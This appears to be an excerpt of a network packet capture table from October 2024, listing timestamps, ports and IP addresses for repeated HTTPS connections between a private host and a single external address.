Oct 4, 2024 09:53:05.586220980 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.606235027 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.606301069 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.606354952 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.606461048 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.606467009 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.606479883 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.606486082 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.608316898 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.608345985 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.608412981 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.608532906 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.608546019 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.613325119 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.613472939 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.613549948 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.613549948 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.613625050 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.613663912 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.615196943 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.615267992 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.615355015 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.615466118 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.615487099 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.618451118 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.618580103 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.618771076 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.618771076 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.618771076 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.620353937 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.620440006 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.620531082 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.620834112 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.620918036 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.625471115 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.625632048 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.625688076 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.625710964 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.625722885 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.625735044 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.625741005 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.627329111 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.627382994 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.627707005 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.627707005 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.627840042 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.837037086 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.837121010 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.249922037 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.250426054 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.250444889 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.250853062 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.250858068 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.270661116 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.271259069 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.271321058 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.271713018 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.271765947 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.283335924 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.283790112 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.283849955 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.283884048 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.283999920 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.284015894 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.284240961 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.284301043 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.284410000 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.284425974 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.302231073 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.302700996 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.302762032 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.303049088 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.303101063 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.350281000 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.350423098 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.350481033 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.350557089 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.350577116 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.350589991 CEST	57083	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.350596905 CEST	443	57083	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.353225946 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.353316069 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.353415966 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.353678942 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.353708982 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.379479885 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.379652977 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.379867077 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.379867077 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.379867077 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.381486893 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.381577969 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.381669044 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.381777048 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.381798983 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.386898994 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.387063980 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.387140036 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.387222052 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.387222052 CEST	57084	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.387264013 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.387290955 CEST	443	57084	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.389256001 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.389283895 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.389348030 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.389467955 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.389482975 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.393589020 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.393743992 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.393923044 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.393923044 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.393923998 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.395437002 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.395447016 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.395520926 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.395607948 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.395613909 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.407763958 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.407897949 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.407947063 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.408020020 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.408020020 CEST	57085	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.408063889 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.408093929 CEST	443	57085	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.409837961 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.409923077 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.410007954 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.410125971 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.410180092 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.586919069 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.586981058 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:06.696413040 CEST	57086	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:06.696476936 CEST	443	57086	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.131937027 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.132677078 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.132761955 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.133083105 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.133096933 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134071112 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134325027 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.134356976 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134548903 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134625912 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.134634972 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134793043 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.134805918 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.134989023 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135066032 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.135076046 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135188103 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135226965 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.135235071 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135472059 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.135531902 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.135538101 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135546923 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.135863066 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.135876894 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.230544090 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.230695009 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.230779886 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.230890989 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.230890989 CEST	57091	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.230922937 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.230943918 CEST	443	57091	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.233738899 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.233825922 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.233936071 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.234074116 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.234107018 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.234805107 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.234934092 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.234991074 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.235033989 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.235033989 CEST	57090	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.235058069 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.235069990 CEST	443	57090	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.235790968 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.235944033 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.236879110 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.236922979 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.236955881 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237013102 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237016916 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237024069 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237034082 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237045050 CEST	57089	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237051010 CEST	443	57089	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237087965 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237087965 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237196922 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237198114 CEST	57087	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237226963 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237247944 CEST	443	57087	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.237272024 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.237303019 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.238414049 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.238568068 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.238651991 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.238990068 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239001036 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.239062071 CEST	57088	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239069939 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239074945 CEST	443	57088	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.239090919 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239093065 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.239119053 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.239198923 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239202023 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239291906 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239305973 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.239321947 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.239347935 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.240746975 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.240828037 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.240906000 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.241009951 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.241044998 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.882987976 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.883455992 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.883517027 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.883980036 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.883995056 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.890113115 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.890455961 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.890472889 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.890829086 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.890841961 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.890981913 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.891014099 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.891216040 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.891274929 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.891515970 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.891531944 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.891978025 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.892009974 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.892297983 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.892309904 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.913930893 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.914330006 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.914355040 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.914685011 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.914693117 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.981167078 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.981671095 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.981769085 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.981838942 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.981838942 CEST	57094	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.981880903 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.981905937 CEST	443	57094	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.984164000 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.984244108 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.984338045 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.984462023 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.984496117 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.990642071 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.990778923 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.990844965 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.990876913 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.990894079 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.990916014 CEST	57093	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.990930080 CEST	443	57093	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.991552114 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.991708994 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.991779089 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.991871119 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.991871119 CEST	57095	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.991924047 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.991954088 CEST	443	57095	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.992506981 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.992585897 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.992641926 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.992841959 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.992860079 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.992883921 CEST	57092	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.992897987 CEST	443	57092	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.993166924 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.993196964 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.993268967 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.993410110 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.993437052 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.994294882 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994333029 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.994395971 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994483948 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994493961 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.994622946 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994704962 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:07.994784117 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994860888 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:07.994887114 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.016499996 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.016630888 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.016820908 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.016820908 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.016822100 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.018439054 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.018512011 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.018588066 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.018695116 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.018716097 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.321314096 CEST	57096	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.321351051 CEST	443	57096	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.640966892 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.641612053 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.641670942 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.642025948 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.642040968 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.646740913 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.646990061 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.647047997 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.647228003 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.647278070 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.647291899 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.647458076 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.647517920 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.647722960 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.647737026 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.664586067 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.665005922 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.665085077 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.665239096 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.665256023 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.672199011 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.672533035 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.672590971 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.672858000 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.672872066 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.742583990 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.742733955 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.742813110 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.742885113 CEST	57099	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.742885113 CEST	57099	443	192.168.2.4	13.107.246.45
